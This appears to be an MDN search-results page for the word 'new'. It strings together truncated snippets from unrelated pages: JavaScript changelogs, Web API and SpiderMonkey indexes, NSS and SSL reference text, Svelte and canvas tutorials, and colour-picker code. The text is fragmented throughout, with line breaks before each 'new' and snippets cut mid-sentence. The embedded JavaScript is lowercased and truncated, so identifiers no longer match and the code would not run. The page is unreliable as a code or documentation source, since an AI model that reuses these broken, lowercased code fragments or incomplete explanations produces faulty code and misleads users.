new model is applied to soap, and potentially document.load or xml-request, it may be desirable to eliminate the same source security bypass, because it is not clear that this is always secure. other security adjustments may be desired as well. feedback? please send me some feedback on this proposal see also mozilla web services security model - documentation of what is currently implemented ...
New in JavaScript 1.1 - Archive of obsolete content
version 1". netscape navigator 3.0 was released on august 19, 1996. netscape navigator 3.0 was the second major version of the browser with javascript support. javascript versions netscape navigator 3.0 also introduced javascript language versions. <script language="javascript"> <!-- javascript for navigator 2.0. --> <script language="javascript1.1"> <!-- javascript for navigator 3.0. -->
new features in javascript 1.1
new objects array boolean function number
new properties number.max_value number.min_value nan number.negative_infinity number.positive_infinity
new methods array.prototype.join() array.prototype.reverse() array.prototype.sort() array.prototype.split()
new operators typeof void other
new features <noscript> liveconnect. communication ...
New in JavaScript 1.5 - Archive of obsolete content
he following is a changelog for javascript 1.5. this version was included in netscape navigator 6.0 was released on november 14, 2000 and was also used in later versions of netscape navigator and firefox 1.0. you can compare javascript 1.5 to jscript version 5.5 and internet explorer 5.5, which was released in july 2000. the corresponding ecma standard is ecma-262 edition 3 (from december 1999).
new features in javascript 1.5 number.prototype.toexponential() number.prototype.tofixed() number.prototype.toprecision() const is now a reserved word. multiple catch clauses in a try...catch statement are supported. javascript authors can now add getters and setters to their objects. changed functionality in javascript 1.5 runtime errors are now reported as exceptions. regular expressi...
New in JavaScript 1.8.1 - Archive of obsolete content
the following is a changelog for javascript 1.8.1. this version was included in firefox 3.5. javascript 1.8.1 is a modest update syntactically to javascript; the main change in this release is the addition of the tracemonkey just-in-time compiler, which improves performance.
new features in javascript 1.8.1 object.getprototypeof() support for native json string.prototype.trim() string.prototype.trimleft() string.prototype.trimright() changed functionality in javascript 1.8.1 implicit setting of properties in object and array initializers no longer execute setters in javascript. this makes the behavior of setting the values of properties more predictable. ...
Index - Web APIs
e(). 6 abortcontroller api, abortcontroller, experimental, interface, reference the abortcontroller interface represents a controller object that allows you to abort one or more dom requests as and when desired. 7 abortcontroller.abortcontroller() api, abortcontroller, constructor, experimental, fetch, reference the abortcontroller() constructor creates a
new abortcontroller object instance. 8 abortcontroller.abort() api, abortcontroller, experimental, fetch, method, reference, abort() the abort() method of the abortcontroller interface aborts a dom request (e.g. a fetch request) before it has completed. this is able to abort fetch requests, consumption of any response body, and streams. 9 abortcontroller.signal api...
...ors the absoluteorientationsensor interface of the sensor apis describes the device's physical orientation in relation to the earth's reference coordinate system. 15 absoluteorientationsensor api, absoluteorientationsensor, constructor, generic sensor api, orientation sensor api, reference, sensor, sensor apis, sensors the absoluteorientationsensor constructor creates a
new absoluteorientationsensor object which describes the device's physical orientation in relation to the earth's reference coordinate system. 16 abstractrange api, abstract, abstract interface, abstractrange, dom, dom api, interface, range, reference the abstractrange abstract interface is the base class upon which all dom range types are defined. a range is an object that indic...
...i, interface, reference, sensor, sensor apis, sensors the accelerometer interface of the sensor apis provides on each reading the acceleration applied to the device along all three axes. 25 accelerometer.accelerometer() api, accelerometer, accelerometer api, constructor, generic sensor api, reference, sensor, sensor apis, sensors the accelerometer constructor creates a
new accelerometer object which returns the acceleration of the device along all three axes at the time it is read. 26 accelerometer.x api, accelerometer, accelerometer api, generic sensor api, property, reference, sensor, sensor apis, sensors, x the x read-only property of the accelerometer interface returns a double precision integer containing the acceleration of the device alo...
...And 336 more matches
Index
because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using. in the most simple scenario, the programmer will provide a directory on your filesystem as a parameter to the init function, and nss is designed to do the rest. it will detect and open an existing database, or it can create a
new one. alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode. usually, nss will flush all data to disk as soon as
new data has been added to permanent storage. storage consists of multiple files: a key database file, which contains your secret keys, and a certificate database file which contains the p...
...n certificates, the certificates of peers or cas, and a list of trust decisions (such as to not trust a built-in ca, or to explicitly trust other cas). examples for the database files are key3.db and cert8.db, where the numbers are file version numbers. a third file contains the list of external pkcs#11 modules that have been registered to be used by nss. the file could be named secmod.db, but in
newer database generations a file named pkcs11.txt is used. only nss is allowed to access and manipulate these database files directly; a programmer using nss must go through the apis offered by nss to manipulate the data stored in these files. the programmer's task is to initialize nss with the required parameters (such as a database), and nss will then transparently manage the database files. ...
...ty. the less code that has access to raw secret keys, the less code that must be reviewed. nss has only limited functionality to look up raw keys. the preferred approach is to use certificates, and to look up certificates by properties such as the contained subject name (information that describes the owner of the certificate). for example, while nss supports random calculation (creation) of a
new public/private key pair, it's difficult to work with such a raw key pair. the usual approach is to create a certificate signing request (csr) as soon as an application is done with the creation step, which will have created a handle to the key pair, and which can be used for the necessary related operations, like producing a proof-of-ownership of the private key, which is usually required when su...
...And 89 more matches
Index - Archive of obsolete content
ui add-on sdk, add-ons, extensions, reference provides access to button, toolbar, and sidebar ui objects. 64 url add-on sdk construct, validate, and parse urls. 66 widget add-on sdk create a simple user interface for an add-on in firefox's add-on bar. 67 windows add-on sdk enumerate and examine open browser windows, open
new windows, and listen for window events. 68 low-level apis no summary! 69 /loader create commonjs module loaders. 70 chrome the chrome module gives an add-on sdk add-on access to the components object, which in turn gives it access to a large set of privileged low-level firefox apis. 71 console/plain-text constr...
... 190 isdefaultnamespace no summary! 191 js xpcom code snippets, javascript, xpcom, about:, nsiaboutmodule no summary! 192 javascript debugger service code snippets ...
... for rich tooltips code snippets, examples, html, xul no summary! 189 html to dom code snippets, dom, guide, html, intermediate, needsupdate although you can now natively parse html using domparser and xmlhttprequest, this is a
new feature that is not yet supported by all browsers in use in the wild. the code snippets on this page will let your site work until these
new features are more widely available. 190 isdefaultnamespace no summary! 191 js xpcom code snippets, javascript, xpcom, about:, nsiaboutmodule no summary! 192 javascript debugger service code snippets no summary! 193 javascript timers javascript timers, needsbetterplace no summary! 194 javascript daemons...
...And 81 more matches
Index
found 550 pages: # page tags and summary 1 spidermonkey: the mozilla javascript runtime spidermonkey standalone source code releases can be found on the releases page. 2 creating javascript tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your
new test belong? 3 creating javascript jstest reftests ecmascript, guide, javascript, test in the js/src/tests directory, there are a few important subdirectories. 4 foss guide, spidermonkey feel free to add your own spidermonkey-based open source projects (and if necessary add categories)! 5 future directions guide, mozilla, spidermonkey this article documents future directions in...
...en source projects (and if necessary add categories)! 5 future directions guide, mozilla, spidermonkey this article documents future directions in functionality, design, and coding practices for spidermonkey. it can be read as something like an "ideal future state" for the engine. that means the code as it is today won't match this document, and that's ok. whenever practical,
new code and changes should move code closer to the ideal future. and of course, the idea of the future is always evolving in time as things change and we learn more. 6 gc rooting guide spidermonkey no summary! 7 gcintegration developing mozilla, firefox, garbage collection, intermediate, intro, jsapi, needsupdate, spidermonkey, tools, memory the spidermonkey...
...js::tonumber. 20 int_fits_in_jsval jsapi reference, obsolete, spidermonkey determines if a specified c integer value, i, lies within the range allowed for integer jsvals. if so, int_fits_in_jsval returns true, and i can be cast to jsval by calling int_to_jsval(i). otherwise, int_fits_in_jsval returns false. in this case, the application can still convert i to a jsval using js_
newnumbervalue. 21 int_to_jsval jsapi reference, obsolete, spidermonkey int_to_jsval converts a c integer, i, to a jsval. 22 js::add*root jsapi reference, needscontent, obsolete, reference, référence(2), spidermonkey these functions are obsoleted, use js::persistentrooted instead. 23 js::autoidarray jsapi reference, reference, référence(2),...
...And 57 more matches
StringView - Archive of obsolete content
r strings (i.e., an array of character codes — an arraybufferview in javascript) based upon the javascript arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating
new immutable javascript strings to work with unicode encodings other than javascript's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video manipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easi...
...; ftaview = uint16array; break encswitch; case "utf-32": ftaview = uint32array; ntranscrtype &= 14; break encswitch; default: /* case "ascii", or case "binarystring" or unknown cases */ ftaview = uint8array; ntranscrtype &= 14; } typeswitch: switch (typeof vinput) { case "string": /* the input argument is a primitive string: a
new buffer will be created. */ ntranscrtype &= 7; break typeswitch; case "object": classswitch: switch (vinput.constructor) { case stringview: /* the input argument is a stringview: a
new buffer will be created. */ ntranscrtype &= 3; break typeswitch; case string: /* the input argument is an objectified string: a
new buffer...
... a stringview: a
new buffer will be created. */ ntranscrtype &= 3; break typeswitch; case string: /* the input argument is an objectified string: a
new buffer will be created. */ ntranscrtype &= 7; break typeswitch; case arraybuffer: /* the input argument is an arraybuffer: the buffer will be shared. ...
...And 54 more matches
Index
rticle will show you how to use the available interfaces in several mozilla products. 3 aggregating the in-memory datasource rdf no summary! 4 binary compatibility xpcom if mozilla decides to upgrade to a compiler that does not have the same abi as the current version, any built component may fail. it is a possiblity that is introduced when upgrading to a
new compiler without recompiling everything. effectively, it is a different platform. 5 bundling multiple binary components binary xpcom components are sometimes required to implement low-level features for extensions. since binary components are linked against a single gecko sdk, a dependency to a particular version of gecko is created. if the component uses only "frozen" xpcom...
...were created prior to firefox 1.5. add-ons can (and should) be identified with ids of the form extensionname@organization.tld since firefox 1.5. 9 generic factory xpcom most xpcom factories can be very simple. rick potts wrote a templated-based generic factory (nsfactory<t>) that simplifies the factory creation process that just requires writing a createinstance() method. ...
...ic factory (nsfactory<t>) that simplifies the factory creation process that just requires writing a createinstance() method. the
new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed. here is the interface, and a description of its use.</t> 10 how to pass an xpcom object to a
new window needsexample, needshelp if you want to be able to call functions within an xpcom object from a xul window's code, you can do so if you pass the xpcom object as one of the arguments to the window creation method. 11 how to build a binary xpcom component using visual studio add-ons, extensions, xpcom this is a simple tutorial for building xpcom objects in c++ u...
...And 54 more matches
jspage - Archive of obsolete content
on"){b[c]=function(){var d=array.prototype.slice.call(arguments); return b.prototype[c].apply(d.shift(),d);};}};native.implement=function(d,c){for(var b=0,a=d.length;b<a;b++){d[b].implement(c);}};native.typize=function(a,b){if(!a.type){a.type=function(c){return($type(c)===b); };}};(function(){var a={array:array,date:date,function:function,number:number,regexp:regexp,string:string};for(var h in a){
new native({name:h,initialize:a[h],protect:true}); }var d={"boolean":boolean,"native":native,object:object};for(var c in d){native.typize(d[c],c);}var f={array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr",...
...{array:["concat","indexof","join","lastindexof","pop","push","reverse","shift","slice","sort","splice","tostring","unshift","valueof"],string:["charat","charcodeat","concat","indexof","lastindexof","match","replace","search","slice","split","substr","substring","tolowercase","touppercase","valueof"]}; for(var e in f){for(var b=f[e].length;b--;){native.genericize(a[e],f[e][b],true);}}})();var hash=
new native({name:"hash",initialize:function(a){if($type(a)=="hash"){a=$unlink(a.getclean()); }for(var b in a){this[b]=a[b];}return this;}});hash.implement({foreach:function(b,c){for(var a in this){if(this.hasownproperty(a)){b.call(c,this[a],a,this); }}},getclean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){...
...clean:function(){var b={};for(var a in this){if(this.hasownproperty(a)){b[a]=this[a];}}return b;},getlength:function(){var b=0;for(var a in this){if(this.hasownproperty(a)){b++; }}return b;}});hash.alias("foreach","each");array.implement({foreach:function(c,d){for(var b=0,a=this.length;b<a;b++){c.call(d,this[b],b,this);}}});array.alias("foreach","each"); function $a(b){if(b.item){var a=b.length,c=
new array(a);while(a--){c[a]=b[a];}return c;}return array.prototype.slice.call(b);}function $arguments(a){return function(){return arguments[a]; };}function $chk(a){return !!(a||a===0);}function $clear(a){cleartimeout(a);clearinterval(a);return null;}function $defined(a){return(a!=undefined);}function $each(c,b,d){var a=$type(c); ((a=="arguments"||a=="collection"||a=="array")?array:hash).each(c,b,d);...
...And 49 more matches
Window.open() - Web APIs
syntax var window = window.open(url, windowname, [windowfeatures]); parameters url a domstring indicating the url of the resource to be loaded. this can be a path or url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context. ...
...ath or url to an html page, image file, or any other resource that is supported by the browser. if the empty string ("") is specified as url, a blank page is opened into the targeted browsing context. windowname optional a domstring specifying the name of the browsing context (window, <iframe> or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a
new window is created and is given the name specified by windowname. this name can be used as the target for the target attribute of <a> or <form> elements. the name should not contain whitespace. keep in mind that this will not be used as the window's title. windowfeatures optional a domstring containing a comma-separated list of window features given with their corresponding values in the form...
... in the form "name=value". these features include options such as the window's default size and position, whether or not to include toolbar, and so forth. there must be no whitespace in the string. see window features below for documentation of each of the features that can be specified. ...
...And 46 more matches
Details of the object model - JavaScript
ployee class, representing a particular individual as an employee. an instance has exactly the same properties of its parent class (no more, no less). a prototype-based language, such as javascript, does not make this distinction: it simply has objects. a prototype-based language has the notion of a prototypical object, an object used as a template from which to get the initial properties for a
new object. any object can specify its own properties, either when you create it or at run time. in addition, any object can be associated as the prototype for another object, allowing the second object to share the first object's properties. defining a class in class-based languages, you define a class in a separate class definition. in that definition you can specify special methods, called const...
... object to share the first object's properties. defining a class in class-based languages, you define a class in a separate class definition. in that definition you can specify special methods, called constructors, to create instances of the class. a constructor method can specify initial values for the instance's properties and perform other processing appropriate at creation time. ...
...t creation time. you use the
new operator in association with the constructor method to create class instances. javascript follows a similar model, but does not have a class definition separate from the constructor. instead, you define a constructor function to create objects with a particular initial set of properties and values. any javascript function can be used as a constructor. you use the
new operator with a constructor function to create a
new object. note that ecmascript 2015 introduces a class declaration: javascript classes, introduced in ecmascript 2015, are primarily syntactical sugar over javascript's existing prototype-based inheritance. the class syntax does not introduce a
new object-oriented inheritance model to javascript. subclasses and inheritance in a class-base...
...And 40 more matches
JXON - Archive of obsolete content
is framework is released under the gnu public license, version 3 or later. ...
...nodes.length; nitem++) { onode = oxmlparent.childnodes.item(nitem); if ((onode.nodetype - 1 | 1) === 3) { scollectedtxt += onode.nodetype === 3 ? ...
...nt++; } return null; }; jxontree.prototype.getattribute = function (nattrid) { if (nattrlen === 0 || nattrid + 1 > nattrlen) { return null; } var nattr = 0; for (var sattrname in this.keyattributes) { if (nattr === nattrid) { return this.keyattributes[sattrname]; } nattr++; } return null; }; jxontree.prototype.haschildren = function () { return this.keylength > 0; }; */ var myobject =
new jxontree(doc); // we got our javascript object! try: alert(json.stringify(myobject)); note: if you want to freeze the whole object tree (because of the "static" nature of an xml document), uncomment the string: /* object.freeze(this); */. the object.freeze() method prevents
new properties from being added to it, prevents existing properties from being removed and prevents existing properties, o...
...And 39 more matches
Theme changes in Firefox 2 - Archive of obsolete content
d files in the browser that may require you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. ...
... you to make changes to your theme. the table lists both the changed xul file and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css
new file that presents ui for adding a
new feed reader. ...
...ile and the theme's corresponding css file that you might need to update. filename css file details browser/base/searchdialog.xul browser/base/content/searchdialog.css removed from firefox 2. feeds/addfeedreader.xul feeds/addfeedreader.css
new file that presents ui for adding a
new feed reader. feeds/subscribe.xhtml feeds/subscribe.css
new file that presents the ui for subscribing to an rss feed. preferences/downloads.xul - removed from firefox 2. preferences/general.xul - removed from firefox 2. safebrowsing/warning-overlay.xul safebrowsing/browser-protection.css
new file containing the overlay that's drawn over the browser when you browse to a suspected phishing site. search/e...
...And 34 more matches
nsIFile
deal with the full unicode support on windows 2000 or later where the os itself does not have such a limitation. therefore, you must not use the native form unless it is guaranteed that the path passed to a native form function is always ascii. to create an nsifile from a path you can use fileutils.jsm: var fileutils = cu.import("resource://gre/modules/fileutils.jsm").fileutils var nsifile =
new fileutils.file( filename ) note: nsilocalfile was merged with this interface in gecko 14. much of the documentation has not been updated to reflect this change. method overview void append(in astring node); void appendnative(in acstring node); native code only! void appendrelativenativepath(in acstring relativefilepath); void appendrelativepath(in astring re...
... not been updated to reflect this change. ...
...ect this change. ...
...And 29 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
out the action directive, which will allow us to extend the functionality of html elements in a reusable and declarative way. finally, we will learn a bit more about components. so far, we've seen how components can share data using props, and communicate with their parents using events and two-way data binding. now we will see how components can also expose methods and variables. the following
new components will be developed throughout the course of this article: moreactions: displays the check all and remove completed buttons, and emits the corresponding events required to handle their functionality.
newtodo: displays the <input> field and add button for adding a
new todo. todosstatus: displays the "x out of y items completed" status heading. code along with us git clone the git...
...n dev to start your app in development mode. repl to code along with us using the repl, start at https://svelte.dev/repl/76cc90c43a37452e8c7f70521f88b698?version=3.23.2 working on the moreactions component now we'll tackle the check all and remove completed buttons. let's create a component that will be in charge of displaying the buttons and emitting the corresponding events. create a
new file — components/moreactions.svelte. when the first button is clicked, we'll emit a checkall event to signal that all the todos should be checked/unchecked. when the second button is clicked, we'll emit a removecompleted event to signal that all of the completed todos should be removed. put the following content into your moreactions.svelte file: <script> import { createeventdispatc...
... code, creates a dependency tree, and then generates the required javascript to update only the parts of the dom that need to be updated. this approach usually generates optimal javascript code with minimal overhead, but it also has its limitations. sometimes svelte cannot detect changes to variables being watched. remember that to tell svelte that a variable has changed, you have to assign it a
new value. a simple rule of thumb is that the name of the updated variable must appear on the left hand side of the assignment. for example, in the following piece of code: const foo = obj.foo foo.bar = 'baz' svelte won't update references to obj.foo.bar, unless you follow it up with obj = obj. that's because svelte can't track object references, so we have to explicitly tell it that obj has chang...
...And 28 more matches
Color picker tool - CSS: Cascading Style Sheets
360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) { this.copy(color); return; } this.r = 0; this.g = 0; this.b = 0; this.a = 1; this.hue = 0; this.saturation = 0; this.value = 0; this.lightness = 0; this.format = 'hsv'; } function rgbcolor(r, g, b) { var color =
new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color =
new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color =
new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color =
new color(); color.sethsv(h, s, v); color.a = a; return color; } functio...
...); return color; } function rgbacolor(r, g, b, a) { var color =
new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color =
new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color =
new color(); color.sethsv(h, s, v); color.a = a; return color; } function hslcolor(h, s, l) { var color =
new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color =
new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; } this.r = obj.r; this.g = obj.g; this.b = obj.b; this.a = obj.a; this.
...n value.touppercase(); }; color.prototype.getrgba = function getrgba() { var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b; var a = ''; var v = ''; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'rgb' + a + rgb + v + ')'; return value; }; color.prototype.gethsla = function gethsla() { if (this.format === 'hsv') { var color =
new color(this); color.setformat('hsl'); color.updatehsx(); return color.gethsla(); } var a = ''; var v = ''; var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%'; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'hsl' + a + hsl + v + ')'; return value; }; color.prototype.getcolor = function getcolor() { ...
...And 28 more matches
Setting up your own test automation environment - Learn web development
rowser drivers from, etc. we will cover writing and running selenium tests using node.js, as it is quick and easy to get started, and a more familiar environment for front end devs. note: if you want to find out how to use webdriver with other server-side environments, also check out platforms supported by selenium for some useful links. setting up selenium in node to start with, set up a
new npm project, as discussed in setting up node and npm in the last chapter. call it something different, like selenium-test. next, we need to install a framework to allow us to work with selenium from inside node. we are going to choose selenium's official selenium-webdriver, as the documentation seems fairly up-to-date and it is well-maintained. if you want different options, webdriver.io and nig...
...'ll need to display them, see show/hide hidden files in mac os x or show hidden folders in ubuntu). paste the following into the bottom of your file (updating the path as it actually is on your machine): #add webdriver browser drivers to path export path=$path:/users/bob save and close this file, then restart your terminal/command prompt to reapply your bash configuration. ...
... ok, let's try a quick test to make sure everything is working. ...
...And 25 more matches
sslfnc.html
at, and it recommends that ssl3 servers all accept ssl3 client hellos in ssl2 format. when an ssl2-only server receives an ssl3 client hello in ssl2 format, it can (and probably will) negotiate the protocol version correctly, not causing a "hang". some applications may wish to force ssl3 client hellos to be sent in ssl3 format, not in ssl2-compatible format. they might wish to do this if they k
new, somehow, that the server does not understand ssl2-compatible client hello messages. note that calling ssl_enable to set ssl_v2_compatible_hello to pr_false implicitly also sets the ssl_enable_ssl2 option to pr_false for that ssl socket. calling ssl_enabledefault to change the application default setting for ssl_v2_compatible_hello to pr_false implicitly also sets the default value for ssl_ena...
...ers use these cipher suites. the cipher suite numbers for the ssl_rsa_fips_with_3des_ede_cbc_sha and ssl_rsa_fips_with_des_cbc_sha cipher suites have been changed so that they are no longer "experimental" values. if an application attempts to set or set the policy or preference for one of the old fips cipher suite numbers, the library recognizes the old number and sets or gets the value for the
new cipher suite number instead. in this release, the three ssl_fortezza_ cipher suites cannot be enabled unless there is a pkcs #11 module available with a fortezza-enabled token. the ssl_fortezza_ cipher suites will be removed in nss 3.11. ssl_cipherprefgetdefault gets the current default preference setting for a specified ssl2 or ssl3 cipher suite. syntax #include "ssl.h" secstatu...
...e ssl client session id cache. syntax #include "ssl.h" void ssl_clearsessioncache(void); description you must call ssl_clearsessioncache after you use one of the ssl export policy functions to change cipher suite policy settings or use ssl_cipherprefsetdefault to enable or disable any cipher suite. otherwise, the old settings remain in the session cache and will be used instead of the
new settings. this function clears only the client cache. the client cache is not configurable. it is located in ram (not on disk), and has the following characteristics: maximum number of entries: unlimited ssl 2.0 timeout value: 100 seconds ssl 3.0 timeout value: 24 hours note: if an ssl client application does not call ssl_clearsessioncache before shutdown, nss_shutdown fails with th...
...And 25 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
browsers behave differently (in fact, the same browser may behave differently depending on the platform). many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones. before i go into the differences between mozilla and internet explorer, i'll cover some basic ways you can make a web application extensible in order to add
new browser support later. since different browsers sometimes use different apis for the same functionality, you can often find multiple if() else() blocks throughout the code to differentiate between the browsers. the following code shows blocks designated for internet explorer: . . . var elm; if (ns4) elm = document.layers["myid"]; else if (ie4) elm = document.all["myid"] the above code i...
...s sometimes use different apis for the same functionality, you can often find multiple if() else() blocks throughout the code to differentiate between the browsers. the following code shows blocks designated for internet explorer: . . . ...
...differentiate between the browsers. the following code shows blocks designated for internet explorer: . . . var elm; if (ns4) elm = document.layers["myid"]; else if (ie4) elm = document.all["myid"] the above code isn't extensible, so if you want it to support a
new browser, you must update these blocks throughout the web application. the easiest way to eliminate the need to recode for a
new browser is to abstract out functionality. ...
...And 23 more matches
Drawing graphics - Learn web development
idth and height default to 300 pixels wide by 150 pixels high. now add the following lines of javascript inside the <script> element: const canvas = document.queryselector('.mycanvas'); const width = canvas.width = window.innerwidth; const height = canvas.height = window.innerheight; here we have stored a reference to the canvas in the canvas constant. in the second line we set both a
new constant width and the canvas' width property equal to window.innerwidth (which gives us the viewport width). in the third line we set both a
new constant height and the canvas' height property equal to window.innerheight (which gives us the viewport height). so now we have a canvas that fills the entire width and height of the browser window! you'll also see that we are chaining assignments t...
...vas is point (0, 0), the horizontal (x) axis runs from left to right, and the vertical (y) axis runs from top to bottom. drawing shapes tends to be done using the rectangle shape primitive, or by tracing a line along a certain path and then filling in the shape. below we'll show how to do both. simple rectangles let's start with some simple rectangles. first of all, take a copy of your
newly coded canvas template (or make a local copy of 1_canvas_template.html if you didn't follow the above steps). next, add the following lines to the bottom of your javascript: ctx.fillstyle = 'rgb(255, 0, 0)'; ctx.fillrect(50, 50, 100, 150); if you save and refresh, you should see a red rectangle has appeared on your canvas. its top left corner is 50 pixels away from the top and left o...
...nd left of the canvas edge (as defined by the first two parameters), and it is 100 pixels wide and 150 pixels tall (as defined by the third and fourth parameters). let's add another rectangle into the mix — a green one this time. add the following at the bottom of your javascript: ctx.fillstyle = 'rgb(0, 255, 0)'; ctx.fillrect(75, 75, 100, 100); save and refresh, and you'll see your
new rectangle. this raises an important point: graphics operations like drawing rectangles, lines, and so forth are performed in the order in which they occur. think of it like painting a wall, where each coat of paint overlaps and may even hide what's underneath. you can't do anything to change this, so you have to think carefully about the order in which you draw the graphics. note that you c...
...And 23 more matches
Bytecode Descriptions
addition. more fundamentally, the result of evaluating x-- is tonumeric(old value of x), a value that the sequence getlocal "x"; one; sub; setlocal "x" does not give us. format: jof_ic other expressions globalthis stack: ⇒ this push the global this value. not to be confused with the globalthis property on the global. this must be used only in scopes where this refers to the global this.
newtarget stack: ⇒
new.target push the value of
new.target. the result is a constructor or undefined. this must be used only in scripts where
new.target is allowed: non-arrow function scripts and other scripts that have a non-arrow function script on the scope chain. implements: get
newtarget. dynamicimport stack: moduleid ⇒ promise dynamic import of the module specified by the string value on...
... scripts and other scripts that have a non-arrow function script on the scope chain. implements: get
newtarget. dynamicimport stack: moduleid ⇒ promise dynamic import of the module specified by the string value on the top of the stack. implements: import calls. importmeta stack: ⇒ import.meta push the import.meta object. this must be used only in module code. objects creating objects
newinit stack: ⇒ obj create and push a
new object with no properties. format: jof_ic
newobject,
newobjectwithgroup operands: (uint32_t baseobjindex) stack: ⇒ obj create and push a
new object of a predetermined shape. ...
...the stack. implements: import calls. importmeta stack: ⇒ import.meta push the import.meta object. this must be used only in module code. objects creating objects
newinit stack: ⇒ obj create and push a
new object with no properties. format: jof_ic
newobject,
newobjectwithgroup operands: (uint32_t baseobjindex) stack: ⇒ obj create and push a
new object of a predetermined shape. the
new object has the shape of the template object script->getobject(baseobjindex). subsequent initprop instructions must fill in all slots of the
new object before it is used in any other way. ...
...And 23 more matches
SpiderMonkey 1.8.5
javascript team is pleased to announce the release of spidermonkey 1.8.5. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32). spidermonkey 1.8.5 is the javascript engine that shipped in firefox 4.0. it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many
new language and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. —22 march 2011 platform support spidermonkey 1.8.5 is supported on all the platforms where firefox 4 runs. spidermonkey 1.8.5 includes ...
...extended class methods (in particular, jsequalityop) has been removed. multithreaded js programs that race against the same objects are now explicitly not supported. multithreaded programs are allowed, but each thread must operate on objects in a separate compartment, isolated from the other threads. the old build system (using makefile.ref) is no longer supported. spidermonkey 1.8.5 includes a
new configure-based build system, introduced shortly after active development on the engine moved from cvs to mercurial. spidermonkey 1.8.5 is not binary-compatible with previous releases, nor is it source-code compatible. many jsapi types, functions, and callback signatures have changed, though most of them still have the same names and do the same things. applications will need significant changes...
...ode is a fairly straightforward job. here is a list of the most significant changes. previous versions of spidermonkey supported two types of native functions: jsnative and jsfastnative. all support for the slow native function type has been removed, and the fast signature has been renamed to jsnative. embeddings that defined jsnatives in previous versions must update all those functions to the
new signature. getters and setters of type jspropertyop took an id parameter of type jsval. the type of the parameter has been changed to jsid. many getters and setters simply ignore the id anyway; if the value is needed, use js_idtovalue. the type of setters has changed from jspropertyop to jsstrictpropertyop (to accomodate es5 strict mode). to migrate, simply add a jsbool strict parameter to each...
...And 23 more matches
Linear-gradient Generator - CSS: Cascading Style Sheets
360 * @param saturation 0-100 * @param value 0-100 * @param lightness 0-100 */ function color(color) { if(color instanceof color === true) { this.copy(color); return; } this.r = 0; this.g = 0; this.b = 0; this.a = 1; this.hue = 0; this.saturation = 0; this.value = 0; this.lightness = 0; this.format = 'hsv'; } function rgbcolor(r, g, b) { var color =
new color(); color.setrgba(r, g, b, 1); return color; } function rgbacolor(r, g, b, a) { var color =
new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color =
new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color =
new color(); color.sethsv(h, s, v); color.a = a; return color; } functio...
...); return color; } function rgbacolor(r, g, b, a) { var color =
new color(); color.setrgba(r, g, b, a); return color; } function hsvcolor(h, s, v) { var color =
new color(); color.sethsv(h, s, v); return color; } function hsvacolor(h, s, v, a) { var color =
new color(); color.sethsv(h, s, v); color.a = a; return color; } function hslcolor(h, s, l) { var color =
new color(); color.sethsl(h, s, l); return color; } function hslacolor(h, s, l, a) { var color =
new color(); color.sethsl(h, s, l); color.a = a; return color; } color.prototype.copy = function copy(obj) { if(obj instanceof color !== true) { console.log('typeof parameter not color'); return; } this.r = obj.r; this.g = obj.g; this.b = obj.b; this.a = obj.a; this.
...n value.touppercase(); }; color.prototype.getrgba = function getrgba() { var rgb = '(' + this.r + ', ' + this.g + ', ' + this.b; var a = ''; var v = ''; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'rgb' + a + rgb + v + ')'; return value; }; color.prototype.gethsla = function gethsla() { if (this.format === 'hsv') { var color =
